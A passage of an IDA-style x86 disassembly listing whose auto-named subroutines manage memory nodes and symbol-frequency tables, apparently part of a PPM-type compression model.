movsx ecx, word ptr [edx]
lea ecx, [ecx+ecx*2]
lea ecx, [eax+ecx*4]
cmp ecx, [esi+18h]
mov [esi+14h], ecx
jbe short loc_9B1745
movsx eax, word ptr [edx]
lea eax, [eax+eax*2]
shl eax, 2
sub ecx, eax
mov [esi+14h], ecx
call sub_9B1675
loc_9B1745: ; CODE XREF: sub_9B16FB+1Aj
; sub_9B16FB+35j
pop edi
pop esi
retn
sub_9B16FB endp
; =============== S U B R O U T I N E =======================================
sub_9B1748 proc near ; CODE XREF: sub_9B17CA+45p
; sub_9B1BD9+115p
push esi
mov esi, eax
mov eax, [esi+18h]
cmp eax, [esi+14h]
jz short loc_9B175B
add eax, 0FFFFFFF4h
mov [esi+18h], eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_9B175B: ; CODE XREF: sub_9B1748+9j
cmp dword ptr [esi+20h], 0
jz short loc_9B176B
mov eax, [esi+20h]
mov ecx, [eax]
mov [esi+20h], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_9B176B: ; CODE XREF: sub_9B1748+17j
push edi
xor edi, edi
call sub_9B1675
pop edi
pop esi
retn
sub_9B1748 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B1776 proc near ; CODE XREF: sub_9B1D29+178p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
movsx eax, word ptr [edi+esi*2+102h]
movsx ecx, word ptr [edi+esi*2+104h]
cmp eax, ecx
mov [ebp+var_4], eax
jnz short loc_9B1796
mov eax, ebx
leave
retn
; ---------------------------------------------------------------------------
loc_9B1796: ; CODE XREF: sub_9B1776+1Aj
lea eax, [esi+1]
mov ecx, edi
call sub_9B16FB
test eax, eax
mov [ebp+var_8], eax
jz short loc_9B17C5
lea ecx, [esi+esi*2]
shl ecx, 2
push ecx ; Size
push ebx ; Src
push eax ; Dst
call memcpy
mov eax, [ebp+var_4]
lea eax, [edi+eax*4+20h]
mov ecx, [eax]
mov [ebx], ecx
add esp, 0Ch
mov [eax], ebx
loc_9B17C5: ; CODE XREF: sub_9B1776+2Fj
mov eax, [ebp+var_8]
leave
retn
sub_9B1776 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B17CA proc near ; CODE XREF: sub_9B192C+10p
; sub_9B1D29+A8p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push 100h ; Size
xor ebx, ebx
lea eax, [edi+888h]
push ebx ; Val
push eax ; Dst
call memset
add esp, 0Ch
lea esi, [edi+654h]
call sub_9B142D
mov eax, [edi+87Ch]
cmp eax, 0Ch
jl short loc_9B1802
push 0Ch
pop eax
loc_9B1802: ; CODE XREF: sub_9B17CA+33j
or ecx, 0FFFFFFFFh
sub ecx, eax
mov eax, esi
mov [edi+884h], ecx
call sub_9B1748
cmp eax, ebx
mov [edi+8], eax
mov [edi+4], eax
jz short loc_9B185C
mov [eax], ebx
mov eax, [edi+87Ch]
mov [edi+878h], eax
mov eax, [edi+4]
mov word ptr [eax+0Ah], 100h
mov eax, [edi+4]
mov word ptr [eax+8], 101h
mov eax, 80h
mov ecx, esi
call sub_9B16FB
mov ecx, [edi+4]
mov [ecx+4], eax
mov eax, [edi+4]
mov eax, [eax+4]
cmp eax, ebx
mov [edi], eax
jnz short loc_9B1863
loc_9B185C: ; CODE XREF: sub_9B17CA+52j
xor eax, eax
jmp loc_9B1928
; ---------------------------------------------------------------------------
loc_9B1863: ; CODE XREF: sub_9B17CA+90j
mov eax, [edi+884h]
mov [edi+880h], eax
xor ecx, ecx
mov [edi+4C89h], bl
xor eax, eax
loc_9B1879: ; CODE XREF: sub_9B17CA+D6j
mov edx, [edi+4]
mov edx, [edx+4]
mov [edx+eax+4], cl
mov edx, [edi+4]
mov edx, [edx+4]
mov byte ptr [edx+eax+5], 1
mov edx, [edi+4]
mov edx, [edx+4]
mov [eax+edx], ebx
add eax, 6
inc ecx
cmp eax, 600h
jl short loc_9B1879
lea eax, [edi+0C88h]
mov [ebp+var_4], ebx
mov [ebp+var_C], eax
loc_9B18AE: ; CODE XREF: sub_9B17CA+133j
mov ebx, [ebp+var_4]
mov eax, [ebp+var_C]
add ebx, 2
mov ecx, offset dword_9A6AC4
mov [ebp+var_8], eax
loc_9B18BF: ; CODE XREF: sub_9B17CA+123j
mov esi, [ebp+var_8]
mov [ebp+var_10], 8
loc_9B18C9: ; CODE XREF: sub_9B17CA+115j
movzx eax, word ptr [ecx]
cdq
idiv ebx
mov edx, 4000h
sub edx, eax
mov [esi], dx
add esi, 10h
dec [ebp+var_10]
jnz short loc_9B18C9
add [ebp+var_8], 2
inc ecx
inc ecx
cmp ecx, offset byte_9A6AD4
jl short loc_9B18BF
inc [ebp+var_4]
mov eax, 80h
add [ebp+var_C], eax
cmp [ebp+var_4], eax
jl short loc_9B18AE
xor edx, edx
lea ecx, [edi+0Fh]
loc_9B1904: ; CODE XREF: sub_9B17CA+159j
lea eax, [edx+edx*4+0Ah]
push 10h
shl eax, 3
pop esi
loc_9B190E: ; CODE XREF: sub_9B17CA+153j
mov byte ptr [ecx-1], 3
mov [ecx-3], ax
mov byte ptr [ecx], 4
add ecx, 4
dec esi
jnz short loc_9B190E
inc edx
cmp edx, 19h
jl short loc_9B1904
xor eax, eax
inc eax
loc_9B1928: ; CODE XREF: sub_9B17CA+94j
pop esi
pop ebx
leave
retn
sub_9B17CA endp
; =============== S U B R O U T I N E =======================================
sub_9B192C proc near ; CODE XREF: sub_9B24A5+22j
; sub_9B24CC+D9p
push edi
mov edi, ecx
mov byte ptr [edi+4C88h], 1
mov [edi+87Ch], eax
call sub_9B17CA
test eax, eax
jnz short loc_9B1947
pop edi
retn
; ---------------------------------------------------------------------------
loc_9B1947: ; CODE XREF: sub_9B192C+17j
push 9 ; Size
lea eax, [edi+0A8Ah]
push 4 ; Val
push eax ; Dst
mov byte ptr [edi+0A88h], 0
mov byte ptr [edi+0A89h], 2
call memset
push 0F5h ; Size
lea eax, [edi+0A93h]
push 6 ; Val
push eax ; Dst
call memset
add esp, 18h
xor eax, eax
loc_9B197D: ; CODE XREF: sub_9B192C+5Cj
mov [edi+eax+988h], al
inc eax
cmp eax, 3
jl short loc_9B197D
push ebx
push esi
xor esi, esi
inc esi
mov edx, eax
mov ebx, esi
mov ecx, 100h
jmp short loc_9B19A9
; ---------------------------------------------------------------------------
loc_9B199A: ; CODE XREF: sub_9B192C+7Fj
dec esi
mov [edi+eax+988h], dl
jnz short loc_9B19A8
inc ebx
mov esi, ebx
inc edx
loc_9B19A8: ; CODE XREF: sub_9B192C+76j
inc eax
loc_9B19A9: ; CODE XREF: sub_9B192C+6Cj
cmp eax, ecx
jl short loc_9B199A
push 40h ; Size
lea eax, [edi+0B88h]
push 0 ; Val
push eax ; Dst
call memset
push 0C0h ; Size
lea eax, [edi+0BC8h]
push 8 ; Val
push eax ; Dst
call memset
add esp, 18h
pop esi
xor eax, eax
pop ebx
mov byte ptr [edi+64Eh], 7
inc eax
pop edi
retn
sub_9B192C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B19E1 proc near ; CODE XREF: sub_9B1A07+26p
; sub_9B1D29+4Cp ...
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, [ebp+arg_0]
push edi
lea edi, [ebp+var_8]
movsd
movsw
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
movsd
movsw
mov edi, [ebp+arg_4]
lea esi, [ebp+var_8]
movsd
movsw
pop edi
pop esi
leave
retn
sub_9B19E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B1A07 proc near ; CODE XREF: sub_9B1FE8+79p
; sub_9B1FE8+EDp ...
var_20 = byte ptr -20h
var_1B = byte ptr -1Bh
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
movzx ecx, word ptr [eax+0Ah]
mov [ebp+var_18], ecx
dec ecx
push ebx
mov [ebp+var_8], ecx
mov ecx, [ebp+arg_0]
mov ecx, [ecx]
push esi
lea edx, [eax+4]
push edi
mov [ebp+var_4], edx
jmp short loc_9B1A37
; ---------------------------------------------------------------------------
loc_9B1A28: ; CODE XREF: sub_9B1A07+32j
lea esi, [ecx-6]
push esi
push ecx
call sub_9B19E1
add esp, 8
mov ecx, esi
loc_9B1A37: ; CODE XREF: sub_9B1A07+1Fj
cmp ecx, [edx]
jnz short loc_9B1A28
mov edx, [edx]
add byte ptr [edx+5], 4
add word ptr [eax+8], 4
mov dx, [eax+8]
movzx esi, byte ptr [ecx+5]
movzx ebx, dx
xor edx, edx
sub ebx, esi
mov esi, [ebp+arg_0]
cmp [esi+878h], edx
setnz dl
mov [ebp+var_14], edx
movzx edx, byte ptr [ecx+5]
add edx, [ebp+var_14]
sar edx, 1
mov [ecx+5], dl
movzx dx, dl
mov [eax+8], dx
loc_9B1A78: ; CODE XREF: sub_9B1A07+CEj
movzx edx, byte ptr [ecx+0Bh]
mov esi, [ebp+var_14]
add ecx, 6
sub ebx, edx
mov [ebp+var_C], edx
add edx, esi
sar edx, 1
mov [ecx+5], dl
movzx dx, dl
add [eax+8], dx
mov dl, [ecx+5]
cmp dl, [ecx-1]
jbe short loc_9B1AD2
mov esi, ecx
lea edi, [ebp+var_20]
movsd
mov edx, ecx
movsw
loc_9B1AA8: ; CODE XREF: sub_9B1A07+C1j
lea esi, [edx-6]
mov edi, edx
movsd
movsw
mov esi, [ebp+var_4]
sub edx, 6
cmp edx, [esi]
mov [ebp+var_C], edx
jz short loc_9B1ACA
mov dl, [ebp+var_1B]
mov esi, [ebp+var_C]
cmp dl, [esi-1]
mov edx, esi
ja short loc_9B1AA8
loc_9B1ACA: ; CODE XREF: sub_9B1A07+B4j
lea esi, [ebp+var_20]
mov edi, edx
movsd
movsw
loc_9B1AD2: ; CODE XREF: sub_9B1A07+95j
dec [ebp+var_8]
jnz short loc_9B1A78
add ecx, 5
cmp byte ptr [ecx], 0
jnz short loc_9B1B47
loc_9B1ADF: ; CODE XREF: sub_9B1A07+E1j
inc [ebp+var_8]
sub ecx, 6
cmp byte ptr [ecx], 0
jz short loc_9B1ADF
mov ecx, [ebp+var_8]
sub [eax+0Ah], cx
add ebx, ecx
mov cx, [eax+0Ah]
cmp cx, 1
jnz short loc_9B1B47
mov eax, [ebp+var_4]
mov edx, [eax]
mov esi, edx
lea edi, [ebp+var_14]
movsd
movsw
loc_9B1B0A: ; CODE XREF: sub_9B1A07+110j
mov al, [ebp+var_F]
shr al, 1
sub [ebp+var_F], al
sar ebx, 1
cmp ebx, 1
jg short loc_9B1B0A
mov eax, [ebp+var_18]
mov ecx, [ebp+arg_0]
mov edi, [ebp+var_4]
inc eax
sar eax, 1
movsx eax, word ptr [ecx+eax*2+756h]
lea eax, [ecx+eax*4+674h]
mov esi, [eax]
mov [edx], esi
mov [eax], edx
mov [ecx], edi
lea esi, [ebp+var_14]
movsd
movsw
jmp loc_9B1BD4
; ---------------------------------------------------------------------------
loc_9B1B47: ; CODE XREF: sub_9B1A07+D6j
; sub_9B1A07+F4j
mov ecx, ebx
sar ecx, 1
sub ebx, ecx
add [eax+8], bx
mov ecx, [ebp+var_18]
movzx eax, word ptr [eax+0Ah]
inc ecx
sar ecx, 1
inc eax
sar eax, 1
cmp ecx, eax
jz short loc_9B1BCA
mov edx, [ebp+var_4]
mov esi, [ebp+arg_0]
mov edi, [edx]
movsx ecx, word ptr [esi+ecx*2+756h]
movsx edx, word ptr [esi+eax*2+756h]
add esi, 654h
cmp ecx, edx
mov [ebp+var_18], ecx
jz short loc_9B1BC5
lea ecx, [esi+edx*4+20h]
mov ebx, [ecx]
test ebx, ebx
jz short loc_9B1BB7
mov edx, [ebx]
lea eax, [eax+eax*2]
shl eax, 2
push eax ; Size
push edi ; Src
push ebx ; Dst
mov [ecx], edx
call memcpy
mov eax, [ebp+var_18]
lea eax, [esi+eax*4+20h]
mov ecx, [eax]
mov [edi], ecx
mov [eax], edi
add esp, 0Ch
mov edi, ebx
jmp short loc_9B1BC5
; ---------------------------------------------------------------------------
loc_9B1BB7: ; CODE XREF: sub_9B1A07+188j
mov ecx, edx
mov edx, [ebp+var_18]
push edi
mov eax, esi
call sub_9B1363
pop ecx
loc_9B1BC5: ; CODE XREF: sub_9B1A07+17Ej
; sub_9B1A07+1AEj
mov eax, [ebp+var_4]
mov [eax], edi
loc_9B1BCA: ; CODE XREF: sub_9B1A07+159j
mov eax, [ebp+var_4]
mov eax, [eax]
mov ecx, [ebp+arg_0]
mov [ecx], eax
loc_9B1BD4: ; CODE XREF: sub_9B1A07+13Bj
pop edi
pop esi
pop ebx
leave
retn
sub_9B1A07 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B1BD9 proc near ; CODE XREF: sub_9B1D29+89p
; sub_9B1D29+E6p
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
mov esi, eax
mov eax, [esi]
mov ebx, [esi+4]
xor edx, edx
cmp [ebp+arg_0], edx
lea ecx, [ebp+var_10C]
push edi
mov edi, [eax]
mov [ebp+var_4], ecx
jnz short loc_9B1C11
cmp [ebx], edx
mov [ebp+var_10C], eax
lea eax, [ebp+var_108]
mov [ebp+var_4], eax
jz short loc_9B1C64
loc_9B1C11: ; CODE XREF: sub_9B1BD9+23j
cmp [ebp+arg_4], edx
jz short loc_9B1C1D
mov eax, [ebp+arg_4]
mov ebx, [ebx]
jmp short loc_9B1C3D
; ---------------------------------------------------------------------------
loc_9B1C1D: ; CODE XREF: sub_9B1BD9+3Bj
; sub_9B1BD9+73j
mov ebx, [ebx]
cmp word ptr [ebx+0Ah], 1
jz short loc_9B1C3A
mov ecx, [esi]
mov eax, [ebx+4]
mov cl, [ecx+4]
jmp short loc_9B1C33
; ---------------------------------------------------------------------------
loc_9B1C30: ; CODE XREF: sub_9B1BD9+5Dj
add eax, 6
loc_9B1C33: ; CODE XREF: sub_9B1BD9+55j
cmp [eax+4], cl
jnz short loc_9B1C30
jmp short loc_9B1C3D
; ---------------------------------------------------------------------------
loc_9B1C3A: ; CODE XREF: sub_9B1BD9+4Bj
lea eax, [ebx+4]
loc_9B1C3D: ; CODE XREF: sub_9B1BD9+42j
; sub_9B1BD9+5Fj
cmp [eax], edi
jnz short loc_9B1C50
mov ecx, [ebp+var_4]
add [ebp+var_4], 4
cmp [ebx], edx
mov [ecx], eax
jnz short loc_9B1C1D
jmp short loc_9B1C52
; ---------------------------------------------------------------------------
loc_9B1C50: ; CODE XREF: sub_9B1BD9+66j
mov ebx, [eax]
loc_9B1C52: ; CODE XREF: sub_9B1BD9+75j
lea eax, [ebp+var_10C]
cmp [ebp+var_4], eax
jnz short loc_9B1C64
mov eax, ebx
jmp loc_9B1D24
; ---------------------------------------------------------------------------
loc_9B1C64: ; CODE XREF: sub_9B1BD9+36j
; sub_9B1BD9+82j
mov cl, [edi]
mov dx, [ebx+0Ah]
inc edi
cmp dx, 1
mov [ebp+var_8], cl
mov [ebp+var_C], edi
jz short loc_9B1CD8
cmp ebx, [esi+654h]
jbe loc_9B1D22
mov eax, [ebx+4]
cmp [eax+4], cl
jz short loc_9B1CA1
mov edi, [esi+65Ch]
loc_9B1C91: ; CODE XREF: sub_9B1BD9+C6j
add eax, 6
cmp eax, edi
ja loc_9B1D22
cmp [eax+4], cl
jnz short loc_9B1C91
loc_9B1CA1: ; CODE XREF: sub_9B1BD9+B0j
movzx eax, byte ptr [eax+5]
movzx ecx, word ptr [ebx+8]
movzx edx, dx
dec eax
sub ecx, edx
sub ecx, eax
lea edx, [eax+eax]
cmp edx, ecx
ja short loc_9B1CC3
lea eax, [eax+eax*4]
cmp ecx, eax
sbb eax, eax
neg eax
jmp short loc_9B1CD4
; ---------------------------------------------------------------------------
loc_9B1CC3: ; CODE XREF: sub_9B1BD9+DDj
lea edi, [ecx+55555555h]
lea eax, [edx+edi*2]
add eax, edi
add ecx, ecx
xor edx, edx
div ecx
loc_9B1CD4: ; CODE XREF: sub_9B1BD9+E8j
inc al
jmp short loc_9B1CDB
; ---------------------------------------------------------------------------
loc_9B1CD8: ; CODE XREF: sub_9B1BD9+9Cj
mov al, [ebx+9]
loc_9B1CDB: ; CODE XREF: sub_9B1BD9+FDj
add esi, 654h
mov [ebp+var_7], al
mov [ebp+arg_0], esi
loc_9B1CE7: ; CODE XREF: sub_9B1BD9+145j
mov eax, [ebp+arg_0]
sub [ebp+var_4], 4
call sub_9B1748
test eax, eax
jz short loc_9B1D0F
mov ecx, [ebp+var_4]
mov ecx, [ecx]
lea edi, [eax+4]
lea esi, [ebp+var_C]
movsd
mov word ptr [eax+0Ah], 1
movsw
mov [eax], ebx
mov [ecx], eax
loc_9B1D0F: ; CODE XREF: sub_9B1BD9+11Cj
test eax, eax
mov ebx, eax
jz short loc_9B1D22
lea ecx, [ebp+var_10C]
cmp [ebp+var_4], ecx
jnz short loc_9B1CE7
jmp short loc_9B1D24
; ---------------------------------------------------------------------------
loc_9B1D22: ; CODE XREF: sub_9B1BD9+A4j
; sub_9B1BD9+BDj ...
xor eax, eax
loc_9B1D24: ; CODE XREF: sub_9B1BD9+86j
; sub_9B1BD9+147j
pop edi
pop esi
pop ebx
leave
retn
sub_9B1BD9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B1D29 proc near ; CODE XREF: sub_9B25BF+13Dp
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
push esi
mov esi, [ebx]
push edi
lea edi, [ebp+var_24]
movsd
movsw
mov dx, [ebp+var_20]
xor edi, edi
cmp dh, 1Fh
jnb short loc_9B1DA4
mov eax, [ebx+4]
mov eax, [eax]
test eax, eax
jz short loc_9B1DA4
cmp word ptr [eax+0Ah], 1
jz short loc_9B1D94
mov edi, [eax+4]
cmp [edi+4], dl
jz short loc_9B1D7F
loc_9B1D60: ; CODE XREF: sub_9B1D29+3Dj
add edi, 6
cmp [edi+4], dl
jnz short loc_9B1D60
mov cl, [edi+5]
cmp cl, [edi-1]
jb short loc_9B1D7F
lea ecx, [edi-6]
push ecx
push edi
call sub_9B19E1
add esp, 8
mov edi, ecx
loc_9B1D7F: ; CODE XREF: sub_9B1D29+35j
; sub_9B1D29+45j
mov cl, [edi+5]
cmp cl, 73h
jnb short loc_9B1DA4
add cl, 2
mov [edi+5], cl
add word ptr [eax+8], 2
jmp short loc_9B1DA4
; ---------------------------------------------------------------------------
loc_9B1D94: ; CODE XREF: sub_9B1D29+2Dj
lea edi, [eax+4]
mov al, [edi+5]
cmp al, 20h
setb cl
add cl, al
mov [edi+5], cl
loc_9B1DA4: ; CODE XREF: sub_9B1D29+1Dj
; sub_9B1D29+26j ...
cmp dword ptr [ebx+878h], 0
jnz short loc_9B1DE3
push edi
push 1
mov eax, ebx
call sub_9B1BD9
pop ecx
pop ecx
mov ecx, [ebx]
mov [ecx], eax
mov eax, [ebx]
mov eax, [eax]
test eax, eax
mov [ebx+8], eax
mov [ebx+4], eax
jnz loc_9B1E77
loc_9B1DCF: ; CODE XREF: sub_9B1D29+D4j
; sub_9B1D29+F2j ...
mov edi, ebx
call sub_9B17CA
test eax, eax
jnz loc_9B1FDC
jmp loc_9B1E7A
; ---------------------------------------------------------------------------
loc_9B1DE3: ; CODE XREF: sub_9B1D29+82j
lea esi, [ebx+654h]
mov eax, [esi]
mov [eax], dl
inc dword ptr [esi]
mov eax, [esi]
cmp eax, [ebx+660h]
mov [ebp+var_C], esi
mov [ebp+var_14], eax
jnb short loc_9B1DCF
cmp [ebp+var_24], 0
jz short loc_9B1E3E
cmp [ebp+var_24], eax
ja short loc_9B1E21
push edi
push 0
mov eax, ebx
call sub_9B1BD9
test eax, eax
pop ecx
pop ecx
mov [ebp+var_24], eax
jz short loc_9B1DCF
mov dx, [ebp+var_20]
loc_9B1E21: ; CODE XREF: sub_9B1D29+DFj
dec dword ptr [ebx+878h]
jnz short loc_9B1E48
mov eax, [ebp+var_24]
mov [ebp+var_14], eax
mov eax, [ebx+8]
xor ecx, ecx
cmp eax, [ebx+4]
setnz cl
sub [esi], ecx
jmp short loc_9B1E48
; ---------------------------------------------------------------------------
loc_9B1E3E: ; CODE XREF: sub_9B1D29+DAj
mov ecx, [ebx]
mov [ecx], eax
mov eax, [ebx+4]
mov [ebp+var_24], eax
loc_9B1E48: ; CODE XREF: sub_9B1D29+FEj
; sub_9B1D29+113j
mov ecx, [ebx+4]
movzx edi, word ptr [ecx+0Ah]
movzx eax, word ptr [ecx+8]
movzx edx, dh
sub eax, edx
sub eax, edi
mov [ebp+var_8], edi
mov edi, [ebx+8]
inc eax
cmp edi, ecx
mov [ebp+var_18], edx
mov [ebp+var_1C], eax
mov [ebp+var_4], edi
jnz short loc_9B1E85
loc_9B1E6E: ; CODE XREF: sub_9B1D29+2AEj
mov eax, [ebp+var_24]
mov [ebx+4], eax
mov [ebx+8], eax
loc_9B1E77: ; CODE XREF: sub_9B1D29+A0j
; sub_9B1D29+2BAj
xor eax, eax
inc eax
loc_9B1E7A: ; CODE XREF: sub_9B1D29+B5j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_9B1E7F: ; CODE XREF: sub_9B1D29+2A8j
mov edi, [ebp+var_4]
mov esi, [ebp+var_C]
loc_9B1E85: ; CODE XREF: sub_9B1D29+143j
movzx edx, word ptr [edi+0Ah]
xor eax, eax
inc eax
cmp edx, eax
mov [ebp+var_10], edx
jz short loc_9B1EEF
test al, dl
jnz short loc_9B1EBC
mov ebx, [edi+4]
mov edi, [ebp+var_C]
mov esi, edx
shr esi, 1
call sub_9B1776
test eax, eax
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_0]
mov [ecx+4], eax
jz loc_9B1DCF
mov edx, [ebp+var_10]
mov edi, ecx
loc_9B1EBC: ; CODE XREF: sub_9B1D29+16Cj
mov ax, [edi+8]
movzx esi, ax
mov ecx, edx
shl ecx, 3
cmp ecx, esi
sbb ecx, ecx
inc ecx
mov esi, edx
shl esi, 2
cmp [ebp+var_8], esi
sbb esi, esi
inc esi
and ecx, esi
lea esi, [edx+edx]
cmp esi, [ebp+var_8]
sbb esi, esi
neg esi
add esi, eax
lea eax, [esi+ecx*2]
mov [edi+8], ax
jmp short loc_9B1F41
; ---------------------------------------------------------------------------
loc_9B1EEF: ; CODE XREF: sub_9B1D29+168j
mov ecx, esi
call sub_9B16FB
test eax, eax
jz loc_9B1DCF
lea ecx, [edi+4]
mov esi, ecx
mov edi, eax
movsd
movsw
mov [ecx], eax
mov cl, [eax+5]
cmp cl, 1Eh
jnb short loc_9B1F19
shl cl, 1
mov [eax+5], cl
jmp short loc_9B1F1D
; ---------------------------------------------------------------------------
loc_9B1F19: ; CODE XREF: sub_9B1D29+1E7j
mov byte ptr [eax+5], 78h
loc_9B1F1D: ; CODE XREF: sub_9B1D29+1EEj
movzx ax, byte ptr [eax+5]
mov edx, [ebp+var_10]
push 3
pop ecx
cmp ecx, [ebp+var_8]
sbb ecx, ecx
neg ecx
add cx, [ebx+874h]
add ecx, eax
mov eax, [ebp+var_4]
mov [eax+8], cx
mov edi, eax
loc_9B1F41: ; CODE XREF: sub_9B1D29+1C4j
movzx eax, word ptr [edi+8]
mov esi, [ebp+var_1C]
lea ecx, [eax+6]
imul ecx, [ebp+var_18]
add eax, esi
lea esi, [eax+eax*2]
shl ecx, 1
shl esi, 1
cmp ecx, esi
mov [ebp+var_10], ecx
mov esi, eax
jnb short loc_9B1F7E
shl esi, 2
cmp ecx, esi
sbb esi, esi
inc esi
cmp eax, ecx
sbb eax, eax
xor ecx, ecx
mov cx, [edi+8]
neg eax
lea eax, [esi+eax+1]
add ecx, 3
jmp short loc_9B1FA9
; ---------------------------------------------------------------------------
loc_9B1F7E: ; CODE XREF: sub_9B1D29+236j
imul esi, 0Fh
cmp ecx, esi
sbb ecx, ecx
inc ecx
lea esi, [eax+eax*2]
shl esi, 2
cmp [ebp+var_10], esi
lea eax, [eax+eax*8]
sbb esi, esi
inc esi
add ecx, esi
cmp [ebp+var_10], eax
sbb eax, eax
inc eax
lea eax, [ecx+eax+4]
xor ecx, ecx
mov cx, [edi+8]
add ecx, eax
loc_9B1FA9: ; CODE XREF: sub_9B1D29+253j
mov esi, [edi+4]
mov [edi+8], cx
lea ecx, [edx+edx*2]
lea esi, [esi+ecx*2]
mov ecx, [ebp+var_14]
mov [esi], ecx
mov cl, byte ptr [ebp+var_20]
mov [esi+4], cl
mov [esi+5], al
inc edx
mov [edi+0Ah], dx
mov edi, [edi]
cmp edi, [ebx+4]
mov [ebp+var_4], edi
jnz loc_9B1E7F
jmp loc_9B1E6E
; ---------------------------------------------------------------------------
loc_9B1FDC: ; CODE XREF: sub_9B1D29+AFj
mov byte ptr [ebx+4C88h], 0
jmp loc_9B1E77
sub_9B1D29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B1FE8 proc near ; CODE XREF: sub_9B25BF+34p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
movzx eax, word ptr [edi+8]
mov [esi+870h], eax
push ebx
lea ebx, [esi+85Ch]
mov eax, [ebx+8]
xor edx, edx
div dword ptr [ebx+14h]
mov ecx, [edi+4]
xor edx, edx
mov [ebp+var_4], eax
mov [ebx+8], eax
mov eax, [ebx+4]
sub eax, [ebx]
div [ebp+var_4]
mov [ebp+var_4], eax
mov eax, [esi+870h]
cmp [ebp+var_4], eax
jnb short loc_9B2075
movzx edx, byte ptr [ecx+5]
cmp [ebp+var_4], edx
jge short loc_9B2070
lea ebx, [edx+edx]
cmp ebx, eax
setnbe al
mov [esi+4C89h], al
mov [esi+86Ch], edx
movzx eax, al
add [esi+880h], eax
add edx, 4
mov [esi], ecx
mov [ecx+5], dl
add word ptr [edi+8], 4
cmp edx, 7Ch
jle short loc_9B2067
push esi
mov eax, edi
call sub_9B1A07
pop ecx
loc_9B2067: ; CODE XREF: sub_9B1FE8+74j
and dword ptr [esi+868h], 0
jmp short loc_9B20DB
; ---------------------------------------------------------------------------
loc_9B2070: ; CODE XREF: sub_9B1FE8+45j
cmp dword ptr [esi], 0
jnz short loc_9B2079
loc_9B2075: ; CODE XREF: sub_9B1FE8+3Cj
xor eax, eax
jmp short loc_9B20DE
; ---------------------------------------------------------------------------
loc_9B2079: ; CODE XREF: sub_9B1FE8+8Bj
mov byte ptr [esi+4C89h], 0
movzx ebx, word ptr [edi+0Ah]
dec ebx
jmp short loc_9B208A
; ---------------------------------------------------------------------------
loc_9B2087: ; CODE XREF: sub_9B1FE8+AEj
dec ebx
jz short loc_9B20E1
loc_9B208A: ; CODE XREF: sub_9B1FE8+9Dj
movzx eax, byte ptr [ecx+0Bh]
add ecx, 6
add edx, eax
cmp edx, [ebp+var_4]
jle short loc_9B2087
mov [esi+86Ch], edx
movzx eax, byte ptr [ecx+5]
sub edx, eax
mov [esi+868h], edx
mov [esi], ecx
add byte ptr [ecx+5], 4
add word ptr [edi+8], 4
mov al, [ecx+5]
cmp al, [ecx-1]
jbe short loc_9B20DB
lea eax, [ecx-6]
push eax
push ecx
call sub_9B19E1
add esp, 8
mov [esi], eax
cmp byte ptr [eax+5], 7Ch
jbe short loc_9B20DB
push esi
mov eax, edi
call sub_9B1A07
pop ecx
loc_9B20DB: ; CODE XREF: sub_9B1FE8+86j
; sub_9B1FE8+D3j ...
xor eax, eax
inc eax
loc_9B20DE: ; CODE XREF: sub_9B1FE8+8Fj
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_9B20E1: ; CODE XREF: sub_9B1FE8+A0j
mov eax, [esi]
movzx eax, byte ptr [eax+4]
mov al, [eax+esi+0B88h]
mov [esi+4C8Ah], al
mov [esi+868h], edx
mov dl, [esi+4C88h]
add ecx, 4
movzx eax, byte ptr [ecx]
mov [eax+esi+888h], dl
movzx eax, word ptr [edi+0Ah]
mov [esi+650h], eax
dec eax
and dword ptr [esi], 0
loc_9B211B: ; CODE XREF: sub_9B1FE8+147j
mov bl, [esi+4C88h]
sub ecx, 6
dec eax
movzx edx, byte ptr [ecx]
mov [edx+esi+888h], bl
jnz short loc_9B211B
mov eax, [esi+870h]
mov [esi+86Ch], eax
jmp short loc_9B20DB
sub_9B1FE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B213F proc near ; CODE XREF: sub_9B25BF+47p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, [ecx]
movzx eax, byte ptr [eax+4]
mov al, [eax+ecx+0B88h]
mov [ecx+4C8Ah], al
push ebx
push esi
push edi
lea edi, [edx+4]
mov edx, [edx]
movzx edx, word ptr [edx+0Ah]
movzx edx, byte ptr [edx+ecx+0A87h]
movzx esi, byte ptr [edi+4]
movzx esi, byte ptr [esi+ecx+0B88h]
movzx ebx, byte ptr [edi+5]
shl ebx, 5
